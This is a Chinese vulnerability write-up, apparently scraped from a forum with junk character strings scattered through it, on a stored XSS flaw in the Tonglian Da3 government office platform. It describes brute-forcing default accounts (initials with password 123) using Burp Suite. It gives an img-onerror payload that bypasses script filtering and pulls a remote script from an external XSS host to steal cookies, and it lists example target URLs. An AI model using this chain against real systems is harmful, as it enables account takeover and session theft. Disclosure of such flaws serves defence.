同联Da3协同办公平台后台通用储存型xss漏洞

admin

2 j* G0 N* ?8 n5 w ! w$ i+ o" c! f0 a, A1 T ; t" R: i0 _6 C9 o( _/ R- R3 ? ! T/ Q+ O1 U8 A; ^& U

1 \. N3 x3 h; h7 g9 d

同联Da3协同办公平台后台通用储存型xss漏洞

$ z. w% c8 i: q$ x( y 平台简介： 8 r% ~- L5 m* j* f& F, t* U6 @

0 z C$ z" v+ i4 K. M0 f+ ?

  4 x, h$ t' L* D( ^

: P0 O" P. K' [

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
; e+ e; I# t X, I1 j; V同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

 

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： @) l% _% ?) ^/ U

, b' d3 y8 o7 x; Z: P   ; H, O6 |! U2 h: ]5 [+ d, d! p

1 }$ ?+ H+ B/ F" r

http://1.1.1.1:7197/cap-aco/#（案例2-） % D6 ]* V! w9 f

5 x( g+ d: j! t0 ]1 h

$ A" y2 s3 j8 j: p+ Y http://www.XXOO.com （案例1-官网网站）

' g n2 ^% d0 L( I5 b' F$ z

3 a* ]2 H4 J" v; i5 F# S 漏洞详情: ' s7 o4 P% ~) [: C. [ i8 L

7 m+ T4 g ]7 o: k& @

( x9 f4 `3 w7 x4 D  案例一、 ( `2 g. y$ o6 d! U3 R3 {' G

4 {# t0 H8 e2 F$ x" z6 z. I 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

: {' l6 p2 J e) X$ g' e$ t! t( Y C

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

4 r, E. m5 [% y4 x$ Y$ [& \

* S$ d4 S3 B9 g2 N9 d+ D& {  

' t1 Z+ W- M! v' z7 O% w9 f

+ d2 \6 j5 R1 Y* g! s$ O) t

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

  ; Y1 E0 F/ U8 n ?

& _! g) q0 n1 t& _: T

9 Q$ }$ C! F3 e2 x" n% R

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

  # E5 ^8 t) e4 p' ~" n

4 I( W9 v/ B4 f/ m8 r7 ] <img src=x ' Y! O' T$ m Z' Y( Uonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

0 L2 { V J- n8 W/ y0 [

4 t$ i$ v7 N _: H

9 v0 p; g$ E0 Y- d- J" V! c

然后发送，接收cookie如图： , S- Y1 q1 E3 C% g o" b- K

2 e+ W* t6 m w3 }- X

( c8 C/ N$ f& B4 f# i   + c2 t* r1 X* J3 h; R* F. o

. j% T0 |; I" c4 b. Z) H

 

 

! S, F5 j) {4 z* q3 y

  4 v' X2 l3 b0 y. s `) S

/ v5 l: | c. Q* U8 R, K' t

3 H# y0 k" ] }+ g X4 E1 T

) R% W# m* O* S, ^9 c2 K4 U

 

& D, W# t9 A6 n9 i; F$ O7 o M, Y i t

9 T% \( Y1 a# ] t+ `- \ 案例2、 - a! B. W* g5 F2 b: x' _7 F

; t, t: d6 H+ S3 g: H9 ?: g

前面步骤都一样，下面看效果图： 9 N* n! d W1 [( K# e" {

9 N6 D: h6 A8 Y# y# U @& d0 G, z. G

7 ]/ l) c3 |6 t: O: P( S) n  

 

/ K, J8 Q5 }2 Z. m6 c t5 y9 A 4 T/ |* y2 v/ S4 _2 D" b

 

& L7 E/ ]3 u! x4 \$ _3 S: w' \( v

 

; E( E( s$ j" m, ?& {/ {

% N( [, p3 K; h- {) C8 ]   , m; P4 r2 f/ g: B* @/ P9 Y

7 A) v+ c7 ^! g0 k3 P' m

  % R) m" r, S0 Y